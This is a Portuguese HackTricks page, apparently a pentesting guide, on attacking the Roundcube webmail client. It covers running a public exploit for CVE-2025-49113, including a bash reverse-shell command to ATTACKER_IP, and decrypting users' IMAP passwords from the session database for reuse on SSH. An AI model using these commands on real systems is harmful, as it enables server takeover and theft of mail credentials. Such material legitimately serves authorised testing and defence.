Roundcube

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Visão geral

Roundcube é um cliente webmail em PHP comumente exposto em vhosts HTTP(S) (ex.: mail.example.tld). Fingerprints úteis:

  • O código-fonte HTML frequentemente leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
  • Caminho padrão do app em containers/VMs: /var/www/html/roundcube
  • Configuração principal: config/config.inc.php

Authenticated RCE via PHP object deserialization (CVE-2025-49113)

Affected versions (per vendor/NVD):

  • 1.6.x before 1.6.11
  • 1.5.x before 1.5.10

Resumo do bug

  • O parâmetro _from em program/actions/settings/upload.php não é validado, permitindo a injeção de dados controlados pelo atacante que o Roundcube depois unserializes, levando à execução de gadget chain e remote code execution no contexto web (post‑auth).

Exploração rápida

  • Requisitos: credenciais válidas do Roundcube e um UI URL alcançável (e.g., http://mail.target.tld)
  • PoC público automatiza session handling, gadget crafting and upload flow
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

Notas

  • A saída frequentemente é cega; use sleep N para validar RCE
  • O shell resultante normalmente roda como www-data; em implantações containerizadas espere /.dockerenv e a rede 172.17.0.0/16

Post‑exploitation: recuperar senhas IMAP de sessões do Roundcube

Roundcube armazena a senha IMAP do usuário atual na sessão (database) cifrada com a chave 3DES do lado do servidor configurada em config.inc.php. Com acesso ao filesystem ou ao DB no host Roundcube você pode recuperar senhas em plaintext e pivotar para outras caixas de correio/serviços (reuso de SSH é comum).

  1. Ler o DB DSN e a chave 3DES do config

config/config.inc.php normalmente contém:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
  1. Conecte-se ao DB e dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

O campo session.vars é um blob Base64 produzido pelo encrypt() do Roundcube: Base64( IV || 3DES-CBC(plaintext) ). Os primeiros 8 bytes após a decodificação Base64 são o IV.

  1. Localizar o campo password

Uma forma rápida de identificar a credential dentro da estrutura descriptografada é primeiro decodificar em Base64 o campo vars e inspecionar visualmente as entradas serializadas:

echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
  1. Descriptografar usando o helper do Roundcube

Roundcube inclui uma CLI que utiliza a mesma lógica rcmail->decrypt() e a des_key configurada:

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. Descriptografia manual 3DES-CBC (opcional)
  • Formato do ciphertext: Base64( IV(8B) || CT )
  • Alg: 3DES-CBC, tamanho da chave 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

Locais comuns

  • Tabela DB: session (a tabela users mapeia nomes de login para IDs)
  • Caminho de configuração: /var/www/html/roundcube/config/config.inc.php

Uso operacional

  • Linhas antigas da tabela session frequentemente contêm senhas IMAP de usuários anteriores; decrypt multiple entries para mover lateralmente para outras caixas de correio
  • Tente as credentials recuperadas contra SSH ou outros serviços se houver suspeita de credential reuse

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks